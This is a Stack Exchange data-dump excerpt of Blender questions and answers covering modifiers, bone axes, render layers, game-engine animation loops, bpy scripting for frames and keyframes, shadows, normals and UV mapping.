  <row Id="2610" PostTypeId="2" ParentId="2609" CreationDate="2013-08-27T18:01:26.730" Score="3" Body="&lt;p&gt;It looks like the origin of the mesh is not quite in the correct place. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the vertices that you wish to be the centre of your mirror (the vertical line of vertices which run from the nose all the way&#xA;back around the head and back up to the nose)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; and choose Cursor to Selected.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go into object mode and choose &lt;em&gt;Origin&lt;/em&gt;&gt; &lt;em&gt;Origin to 3D cursor&lt;/em&gt; from the Toolshelf (press &lt;kbd&gt;T&lt;/kbd&gt; to show the toolshelf).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The mirror modifier should then be moved to be above the subsurf modifier to avoid having a visible seam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: To make the centre line of vertices completely straight, select the centre loop and press &lt;kbd&gt;S&lt;/kbd&gt; , &lt;kbd&gt;Y&lt;/kbd&gt; then &lt;kbd&gt;0&lt;/kbd&gt;. &lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2013-08-27T21:08:29.660" LastActivityDate="2013-08-27T21:08:29.660" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2611" PostTypeId="2" ParentId="2602" CreationDate="2013-08-27T19:38:19.570" Score="0" Body="&lt;p&gt;In the end it came down to the fact that bone axes are special.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bone's Y axis always points along the length of the bone, while X and Z are perpendicular to it and each other, and can be rotated with bone's roll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, a bone pointing along the spine of an upright Z-up character can never align with global Z-axis, resulting in 90-degree offsets and axis inversions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up using a tailored Transform constraint to remap the bone axes to object axes so that local bone rotation translated correctly into local  object rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hideous part is that if bones point in a different direction - say, horizontal bones for stretched-out robot arms - the set of adjustments will be different for each of them (and if robot has two arms, their adjustments will have to be different).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll yet have to see how/if the special bone axis thing will hilariously backfire when i try exporting an animation.&lt;/p&gt;&#xA;" OwnerUserId="1181" LastActivityDate="2013-08-27T19:38:19.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2612" PostTypeId="1" AcceptedAnswerId="2613" CreationDate="2013-08-27T21:13:46.643" Score="8" ViewCount="1742" Body="&lt;p&gt;Is it possible to use the rendered output of one renderlayer in the materials on another render layer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-09-12T03:05:54.437" Title="Is it possible to use the output of a Renderlayer in the material nodes of another RenderLayer?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2613" PostTypeId="2" ParentId="2612" CreationDate="2013-08-27T21:13:46.643" Score="9" Body="&lt;p&gt;&lt;strong&gt;Yes, this is possible.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can achieve this with an &lt;em&gt;Image Sequence Texture node&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set up two render layers with each layer excluding the other:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TYteX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set up compositing nodes so the render layer that is being used to influence the materials renders out to a separate directory.&lt;br&gt;&#xA;This is possible with the &lt;em&gt;File Path&lt;/em&gt; node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wsU8E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render only the influencing layer once to that directory by &lt;em&gt;Pinning&lt;/em&gt; &lt;img src=&quot;https://i.stack.imgur.com/b6taT.png&quot; alt=&quot;enter image description here&quot;&gt; that render layer.&lt;br&gt;&#xA;The file will be named something like &lt;code&gt;Image0001.png&lt;/code&gt;. Rename it to &lt;code&gt;Image0000.png&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set up the material you want to be influenced.&lt;br&gt;&#xA;You can pull in the result of the other render layer by adding an &lt;em&gt;Image Texture node&lt;/em&gt;, setting the image to &lt;code&gt;Image0000.png&lt;/code&gt;, setting the &lt;em&gt;Source&lt;/em&gt; to &lt;em&gt;Image Sequence&lt;/em&gt;, and setting the &lt;em&gt;Offset&lt;/em&gt; to &lt;code&gt;-1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bLev0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the result of the other render layer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render the animation. (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;F12&lt;/kbd&gt;, or &lt;em&gt;Info &gt; Render &gt; Render Animation&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here is a simple test with two spheres (one on each layer) and a moving light source:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3iBEl.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that with this technique, the two layers are one frame apart.&#xA;This could be fixed by rendering the influencing layer completely beforehand, and adjusting the offset accordingly. &lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-12T03:05:54.437" LastActivityDate="2013-09-12T03:05:54.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2614" PostTypeId="1" CreationDate="2013-08-27T21:18:08.840" Score="5" ViewCount="4173" Body="&lt;p&gt;I am trying to make a walking animation for my character in BGE, but I can't figure out to duplicate or loop the animation. This is so I can than make the animation &quot;loop end&quot; when you hold down the up arrow to make the animation play. &lt;/p&gt;&#xA;" OwnerUserId="1186" LastEditorUserId="20" LastEditDate="2013-08-27T22:20:59.440" LastActivityDate="2013-08-27T22:48:19.290" Title="How to loop an animation in BGE?" Tags="&lt;animation&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2616" PostTypeId="2" ParentId="2606" CreationDate="2013-08-27T21:53:40.960" Score="1" Body="&lt;p&gt;Blender can handle the complete pipe line from modelling to video editing. In such a workflow the data is always available and doesn't need to be exported elsewhere. For comparing renders the norm is to just &lt;em&gt;&lt;a href=&quot;http://www.blender.org/manual/render/post_process/metadata.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stamp&lt;/a&gt;&lt;/em&gt; the images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me quote &lt;a href=&quot;https://blender.stackexchange.com/questions/463/logging-renders/464#comment-594&quot;&gt;ideasman42&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;stamp options are written into metadata of EXR/JPEG/PNG files. So if you dont want to see them, you can use a tool to read them back (exrheader command for openexr for example).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There isn't &lt;em&gt;yet&lt;/em&gt; &lt;a href=&quot;http://lists.nongnu.org/archive/html/openexr-devel/2013-07/msg00039.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;a standard for storing EXIF data in the OpenEXR format&lt;/a&gt;, so it's unlikely this data will show up in other applications.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2015-12-01T16:12:00.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2617" PostTypeId="2" ParentId="2614" CreationDate="2013-08-27T22:01:48.293" Score="3" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;Update:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;&#xA;&lt;em&gt;If this answer seems out of place, the original question was&lt;/em&gt; &quot;How do I Duplicate Keyframes?&quot;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Probably the easiest way is to the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/DopeSheet&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Dope Sheet&lt;/em&gt; editor&lt;/a&gt;. There are several ways to get there:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Click the icon on the bottom left corner of the 3D view and select &lt;em&gt;Dope Sheet&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tKmrp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on the dropdown that says &lt;em&gt;Default&lt;/em&gt; on the &lt;em&gt;Info bar&lt;/em&gt;, and select &lt;em&gt;Animation&lt;/em&gt;. (Or press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Left Arrow&lt;/kbd&gt; twice)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rm17m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will take you to the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Screens#Screens&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Animation layout&lt;/em&gt;&lt;/a&gt;, with a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;3D view&lt;/em&gt;&lt;/a&gt;, &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/Graph&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Graph editor&lt;/em&gt;&lt;/a&gt;, and &lt;em&gt;Dope sheet&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;From the &lt;em&gt;Dope sheet&lt;/em&gt; or the &lt;em&gt;Graph editor&lt;/em&gt;, select keyframes, and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; to duplicate.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Looping in the BGE:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Once you have an animation that ends where it starts, you can make it loop in the Game Engine with &lt;em&gt;Logic Bricks&lt;/em&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to the &lt;em&gt;Game logic&lt;/em&gt; editor (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Right Arrow&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;Keyboard Sensor&lt;/em&gt; (&lt;em&gt;Add sensor &gt; keyboard&lt;/em&gt;) and set the key by pressing the button next to the word &lt;em&gt;Key&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an &lt;em&gt;Action actuator&lt;/em&gt; (&lt;em&gt;Add actuator &gt; Action&lt;/em&gt;) and set the &lt;em&gt;Action&lt;/em&gt; value to your walk animation, set the &lt;em&gt;end&lt;/em&gt; value to the last frame of your animation, and set the &lt;em&gt;Action playback type&lt;/em&gt; to &lt;em&gt;Loop End&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Connect the logic bricks by dragging the dot next to the &lt;em&gt;Sensor&lt;/em&gt; to the dot next to the &lt;em&gt;Actuator&lt;/em&gt;. An &lt;em&gt;And Controller&lt;/em&gt; should be automatically created between them:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sqBdO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-27T22:48:19.290" LastActivityDate="2013-08-27T22:48:19.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2618" PostTypeId="1" AcceptedAnswerId="2619" CreationDate="2013-08-27T23:46:31.127" Score="5" ViewCount="1450" Body="&lt;p&gt;I have an issue where I can’t find the current location of a cubes’ global vertex location.  The cube is moved and key framed through code, but when I try to find the location (of any vertex) at each subsequent frame, it always returns the location of the cubes’ vertex at the start frame. Follow these steps to replicate the error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a cube called Cube.001&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import random&#xA;Scene_Name = bpy.context.scene.name&#xA;&#xA;def Move(Name):&#xA;    bpy.context.object.location[0] = bpy.context.object.location[0] + 2  &#xA;&#xA;def MovingVertex(): &#xA;    C = bpy.context&#xA;    aObj = C.active_object&#xA;&#xA;    if aObj == None:&#xA;        print('No Mesh seleted')&#xA;        return&#xA;    vts = aObj.data.vertices&#xA;    for count in range(0, 8):&#xA;        x = [i.index for i in vts if i.select==True][3]&#xA;        if x == None:&#xA;            print('1 Vertex selected at least')&#xA;            return&#xA;        wm = aObj.matrix_world.copy()&#xA;        aP = wm * vts[x].co&#xA;&#xA;    print(bpy.context.scene.frame_current)&#xA;    print(aP) &#xA;&#xA;for frame in range(1, 100):&#xA;    bpy.data.scenes[Scene_Name].frame_current = (bpy.data.scenes[Scene_Name].frame_current + 1)&#xA;    for Count in  range(1, 2):&#xA;        Name = &quot;Cube.&quot; + str(format(Count, '03'))&#xA;        ob = bpy.data.objects[Name]&#xA;        bpy.context.scene.objects.active=ob&#xA;        Move(Name)&#xA;        MovingVertex()&#xA;        cf = bpy.data.scenes[Scene_Name].frame_current&#xA;        ob.keyframe_insert(data_path='location', frame=(cf))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output of frame number and cubes’ vertex location:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1682&#xA;&amp;lt;Vector (3168.8081, -1.3707, -2.5711)&amp;gt;&#xA;1683&#xA;&amp;lt;Vector (3168.8081, -1.3707, -2.5711)&amp;gt;&#xA;1684&#xA;&amp;lt;Vector (3168.8081, -1.3707, -2.5711)&amp;gt;&#xA;1685&#xA;&amp;lt;Vector (3168.8081, -1.3707, -2.5711)&amp;gt;&#xA;1686&#xA;&amp;lt;Vector (3168.8081, -1.3707, -2.5711)&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong, how can I get the location of the cubes’ vertex at a given frame?&lt;/p&gt;&#xA;" OwnerUserId="1152" LastEditorUserId="1152" LastEditDate="2013-08-27T23:52:13.623" LastActivityDate="2013-08-28T03:29:12.333" Title="Finding vertex locations at a given frame using python" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2619" PostTypeId="2" ParentId="2618" CreationDate="2013-08-28T00:49:10.133" Score="5" Body="&lt;p&gt;Instead of setting &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.types.Scene.html#bpy.types.Scene.frame_current&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;scene.frame_current = frame&lt;/code&gt;&lt;/a&gt;, run &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.types.Scene.html#bpy.types.Scene.frame_set&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;scene.frame_set(frame)&lt;/code&gt;&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The docs mention this since its a common issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updating all objects animation state in a scene can be very heavy with complex scenes, so it was decided not to do this on setting the frame attribute.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-08-28T03:29:12.333" LastActivityDate="2013-08-28T03:29:12.333" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2620" PostTypeId="1" AcceptedAnswerId="2621" CreationDate="2013-08-28T02:25:20.143" Score="5" ViewCount="5658" Body="&lt;p&gt;I know it's possible to &lt;a href=&quot;https://blender.stackexchange.com/questions/1284/how-can-i-animate-object-properties-in-blender&quot;&gt;keyframe UI properties&lt;/a&gt;, and it's possible to &lt;a href=&quot;https://blender.stackexchange.com/questions/1621/how-to-add-keyframes-for-multiple-objects-at-once&quot;&gt;animate many objects at once for &lt;em&gt;Location&lt;/em&gt;, &lt;em&gt;Rotation&lt;/em&gt;, and &lt;em&gt;Scale&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But is it possible to insert a keyframe for a UI property for many objects at once?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. Animating rigid body properties for shards of a cell-fractured object&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2013-08-29T04:36:43.290" Title="Insert properties keyframe for multiple objects?" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2621" PostTypeId="2" ParentId="2620" CreationDate="2013-08-28T06:04:27.923" Score="9" Body="&lt;p&gt;So the easy solution would be to write a script that creates keyframes for every selected object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the Rigid Body Tools will copy attributes from the active object to all selected, it doesn't copy keyframes. Copying keyframes could be something to add to the Rigid Body Tools. I would think that the animated checkbox is probably the only Rigid Body option that would normally be keyframed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the 3DView, Insert Keyframes will keyframe the same properties for every selected object. Creating a keyingset with an interface property doesn't allow the property to be keyframed for all selected objects. Sounds like a deficiency in the create interface value keyframe operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; There are some options that can help under some circumstances -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; -&gt; Animation data - can create keyframes for every object to match keyframes for the active object. This creates keyframes for the same properties in each object - it doesn't make the properties the same as the active object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For rigid body options you can set and keyframe the active object, use rigid body tools to copy settings from active, re-do calculate mass, then &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; -&gt; Animation data to create keyframes for each object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't apply to non-rigid body values. The following script can easily be modified to set and keyframe a specific value on every selected object, adjusting to work on multiple values is also easy. I used rigid_body.kinematic as an example as I see this as the most likely value to be used in this scenario.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;set_kinematic = bpy.context.active_object.rigid_body.kinematic&#xA;&#xA;for object in bpy.context.selected_objects:&#xA;    object.rigid_body.kinematic = set_kinematic&#xA;    object.keyframe_insert(data_path=&quot;rigid_body.kinematic&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2013-08-29T04:36:43.290" LastActivityDate="2013-08-29T04:36:43.290" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2622" PostTypeId="1" CreationDate="2013-08-28T07:39:03.583" Score="12" ViewCount="10338" Body="&lt;p&gt;Is there an option, like on lights sources, to tell the object that has an emission shader to not cast shadows in the scene?&lt;/p&gt;&#xA;" OwnerUserId="663" LastEditorUserId="2617" LastEditDate="2015-02-03T15:22:05.803" LastActivityDate="2015-03-13T04:31:07.563" Title="Is it possible for a emission shader not to cast shadows?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;&lt;shaders&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2624" PostTypeId="2" ParentId="2622" CreationDate="2013-08-28T08:21:24.507" Score="14" Body="&lt;p&gt;Simply go to the object panel on the right, scroll down to the Ray Visibility panel, and uncheck &quot;Shadow&quot;. Note that this will apply to the entire object, not just the material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3TBNf.png&quot; alt=&quot;Ray visibility panel&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="536" LastEditorUserId="9" LastEditDate="2013-08-28T12:16:35.257" LastActivityDate="2013-08-28T12:16:35.257" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2626" PostTypeId="1" AcceptedAnswerId="2627" CreationDate="2013-08-28T09:55:56.333" Score="7" ViewCount="1264" Body="&lt;p&gt;I have Blender 2.49b and have this model:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DVgBv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I change mode to Textured, the windows look weird:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OTuDt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go back to solid mode, it's normal, but the biggest problem is when I export the model, it looks like the image above. How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="1188" LastEditorUserId="12" LastEditDate="2013-08-28T12:59:45.297" LastActivityDate="2013-08-28T12:59:45.297" Title="Mesh appears normal in solid mode but looks weird in textured mode" Tags="&lt;mesh&gt;&lt;texturing&gt;&lt;drawmodes&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2627" PostTypeId="2" ParentId="2626" CreationDate="2013-08-28T10:31:16.673" Score="4" Body="&lt;p&gt;The most likely cause would be the normals, that is which way the polygon is facing, the outer side is the one that has the texture drawn on it. In edit mode select all and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt;. If that makes it worse try &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; to flip them the other way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worst case scenario you can select individual faces and flip the normals using Mesh-&gt;Normals-&gt;Flip (Flip normals is also available in the specials menu &lt;kbd&gt;W&lt;/kbd&gt;)&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-08-28T10:31:16.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2628" PostTypeId="2" ParentId="2626" CreationDate="2013-08-28T10:37:25.717" Score="2" Body="&lt;p&gt;This appears to be an issue with the faces themselves rather than which mode you have selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would first check to see if the faces are pointing in the wrong direction. &#xA;First enable Draw Normal from the Mesh Tool Panel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sGds0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they are point the wrong direction then they can be flipped the correct direction using &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;N&lt;/kbd&gt;. See the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Modeling/Meshes/Editing/Faces#Normals&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki docs - Face Normal&lt;/a&gt; for more information about flipping direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also check to see if these faces have been UV wrapped. In edit mode, select the faces in question. Open the UV Editor and if they have been uv'd then they should be visible for manipulating the UV layout. If not you will have to UV unwrap those faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also check to see if these faces have a texture associated with them. If they don't you will have to assign one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this stage if the format you are using allows it you can enable double sided.&lt;/p&gt;&#xA;" OwnerUserId="175" LastEditorUserId="241" LastEditDate="2013-08-28T12:53:44.003" LastActivityDate="2013-08-28T12:53:44.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2629" PostTypeId="1" CreationDate="2013-08-28T13:52:39.110" Score="8" ViewCount="2179" Body="&lt;p&gt;I'm having a bit of an issue getting started with UV mapping in Cycles.  It works fine initially, but when I add the mapping node and set min/max to the default values to turn off repeating, I get the following stretch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a bit boggling to me as I followed multiple tutorials where this exact same process works.  See &lt;a href=&quot;http://www.youtube.com/watch?feature=player_detailpage&amp;amp;v=Lw-YHoxpAnk#t=537&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Images of the issue: &lt;img src=&quot;https://i.stack.imgur.com/1U4Kn.jpg&quot; alt=&quot;http://imgur.com/a/0Ezqd&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C1mJ4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v5v1Q.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1189" LastEditorUserId="599" LastEditDate="2014-05-06T19:42:46.517" LastActivityDate="2014-05-06T19:42:46.517" Title="Using a mapping node to disable tiling is streaching texture?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;texturing&gt;&lt;uv&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2630" PostTypeId="2" ParentId="2620" CreationDate="2013-08-28T15:00:22.363" Score="-2" Body="&lt;p&gt;Anything you've already keyframed will turn up in the Dope Sheet. So add one keyframe for each and then it should be easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that - scripting.&lt;/p&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2013-08-28T15:00:22.363" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2632" PostTypeId="1" AcceptedAnswerId="2633" CreationDate="2013-08-28T15:42:44.087" Score="51" ViewCount="377963" Body="&lt;p&gt;&lt;strong&gt;Situation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have obtained some blender files &amp;amp; licences for 3d models of transit vans and some trucks. Currently, when I export these objects to .obj files they are rather large, take a while to render and look to have been built in segments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These models need to be used on Android devices and they need to be observable through one .obj file. What is happening is when I open the .obj I am not seeing the same model as I do in Blender. The doors and wheels of the vans for instance don't appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;End Product&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to find a way of reducing these models to be just one single object. Items on the interior of the van don't matter, seats for example. The file would ideally also be around 200kb, and exportable in a single .obj file. Can anybody shed some light on how I would go about doing this?&lt;/p&gt;&#xA;" OwnerUserId="1190" OwnerDisplayName="AlecHenderson_v1.00" LastEditorUserId="72" LastEditDate="2013-08-28T18:31:27.357" LastActivityDate="2018-02-20T23:24:34.983" Title="How do I make multiple Blender objects into one?" Tags="&lt;objects&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="17" ContentLicense="CC BY-SA 3.0" />
